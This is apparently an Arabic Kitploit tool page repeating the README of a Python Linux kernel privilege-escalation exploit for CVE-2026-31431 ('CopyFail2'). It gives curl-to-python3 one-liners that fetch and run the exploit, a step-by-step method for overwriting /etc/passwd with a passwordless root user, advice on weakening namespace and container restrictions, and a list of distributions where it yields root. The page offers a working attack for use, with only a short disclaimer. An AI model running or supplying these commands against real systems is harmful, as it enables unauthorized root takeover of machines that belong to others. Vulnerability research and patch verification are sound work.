Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31431 — استغلال تصعيد صلاحيات محلي لنواة لينكس مكتوب بلغة بايثون لثغرة CVE-2026-31431، يستغل xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW لاستبدال ملف /etc/passwd والحصول على صلاحيات الجذر. | Kitploit
أدوات/GitHubGitHub/guiimoraes/cve-2026-31431
تصعيد الامتيازاتأطر الاستغلالتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقاستغلال الملفات الثنائية
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

استغلال تصعيد صلاحيات محلي لنواة لينكس مكتوب بلغة بايثون لثغرة CVE-2026-31431، يستغل xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW لاستبدال ملف /etc/passwd والحصول على صلاحيات الجذر.

عرض المستودع
3منذ 3 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CopyFail2 exploit demo

CopyFail2 (CVE-2026-31431) - تنفيذ بايثون

نسخة بايثون من استغلال النواة CopyFail2 الذي يستغل مسار MSG_SPLICE_PAGES السريع بدون COW في xfrm ESP-in-UDP لتصعيد الامتيازات محليًا على لينكس بدون صلاحيات.

يستبدل إدخال nologin/false في /etc/passwd بمستخدم uid-0 بدون كلمة مرور ويدخل إلى قشرة جذر عبر su.

الثغرة

يكمن خلل النواة في مسار UDP splice المستخدم في تغليف xfrm ESP-in-UDP. يؤدي splice() إلى مقبس UDP مع MSG_SPLICE_PAGES إلى تعيين الصفحات في ذاكرة التخزين المؤقت للصفحات الخاصة بالمستقبل دون تفعيل النسخ عند الكتابة (copy-on-write). وهذا يسمح بالكتابة في أي ملف مُعيَّن حاليًا في ذاكرة التخزين المؤقت للصفحات، حتى لو كان مفتوحًا للقراءة فقط.

  • تنفيذ C الأصلي: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • الإصلاح الرسمي: netdev/net.git

المتطلبات

  • نواة لينكس >= 6.5 (دعم UDP لـ MSG_SPLICE_PAGES)
  • libcrypto.so (OpenSSL)
  • بايثون 3.8+
  • CAP_NET_ADMIN أو القدرة على إنشاء مساحات أسماء مستخدمين

أي إصدار يجب استخدامه

يوفر هذا المستودع نسختين. كلاهما ينتج نفس النتيجة؛ اختر بناءً على قيودك.

بدء سريع (محسّن)

root@kitploit:~
# سطر واحد عبر الأنبوب
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# ملف محفوظ
python3 exploit.py

# التراجع عن التغييرات
python3 exploit.py --clean

بدء سريع (خام/مرجعي)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

على Ubuntu مع تفعيل apparmor_restrict_unprivileged_userns، احفظ الملف أولاً ثم شغّله من القرص؛ وضع الأنبوب يتخطى رقصة تجاوز AppArmor.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

كيف يعمل

  1. يبحث بالقوة الغاشمة عن IV لـ AES-GCM يكون بايت تدفق المفاتيح فيه XOR مع البايت الأصلي من /etc/passwd إلى القيمة المطلوبة.
  2. يثبّت حالة xfrm ESP-in-UDP محلية على 127.0.0.1:4500.
  3. يصنع ملفًا خلفيًا يتحكم به المهاجم يحتوي على ترويسة ESP المزورة وICV.
  4. ينفذ splice() على ثلاث نطاقات (ترويسة ESP، البايت المستهدف من /etc/passwd، ICV) إلى أنبوب.
  5. ينفذ splice() للأنبوب إلى مقبس UDP، مما يفعّل خلل النواة ويكتب البايت في ذاكرة التخزين المؤقت للصفحات.
  6. يكرر ذلك لكل بايت مختلف لاستبدال سطر nologin/false بـ sick::0:0:...:/:/bin/bash.
  7. su - sick يدخل إلى الجذر (PAM nullok يقبل كلمة مرور فارغة).

مُختبَر على

استكشاف الأخطاء وإصلاحها

cannot acquire CAP_NET_ADMIN

قد تكون نواتك تحتوي على kernel.unprivileged_userns_clone=0. فعّلها:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

إذا كنت تعمل داخل Docker، ابدأ الحاوية مع --privileged أو --cap-add=SYS_ADMIN.

الاعتمادات

  • Hyunwoo Kim (imv4bel) و Kuan-Ting Chen — الاكتشاف والإصلاح الرسمي
  • Steffen Klassert — مسؤول IPsec، نشر الإصلاح
  • Brad Spengler / grsecurity — صاغ مصطلح "copyfail-class"
  • Theori / Xint — استغلال Copy Fail الأصلي (CVE-2026-31431)
  • استغلال C الأصلي بواسطة 0xdeadbeefnetwork
  • استغلال بايثون بواسطة guiimoraes

إخلاء مسؤولية

تُقدَّم هذه الأداة لأغراض البحث الأمني المصرح به والتعليم فقط. لا تستخدمها ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذا البرنامج.

تنزيل الأداة
الملفالوصفالسرعةمتى تستخدمه
exploit.pyمحسّن — يعيد استخدام حالة xfrm/المقابس/الأنبوب عبر الطفرات، يجمّع 2 بايت متتاليين لكل جولة، استطلاع نشط بدلاً من النوم الثابت.~3–8 ثوانٍ لسطر من 99 بايتالخيار الافتراضي. سريع، مستقر، مُختبَر على توزيعات متعددة.
exploit_raw.pyمرجعي — الأقرب إلى كود C الأصلي. يعيد إنشاء حالة xfrm والمقابس والأنبوب والملف المؤقت لكل بايت على حدة، نوم ثابت 200 مللي ثانية لكل طفرة.~30–40 ثانية لسطر من 99 بايتاستخدمه إذا أردت أبسط مسار كود ممكن للتدقيق، أو إذا كان الإصدار المحسّن يتصرف بشكل غير صحيح على بناء نواة معين.
التوزيعةالنواةالنتيجة
Ubuntu 24.04 LTS6.8.0-110-genericجذر
Debian 136.12.74جذر
Arch6.19.11-arch1-1جذر
Fedora 436.19.14-200.fc43جذر
Ubuntu 26.04 LTS7.0.0-15-genericجذر
Ubuntu 22.04 LTS5.15.0-176-genericغير معرّض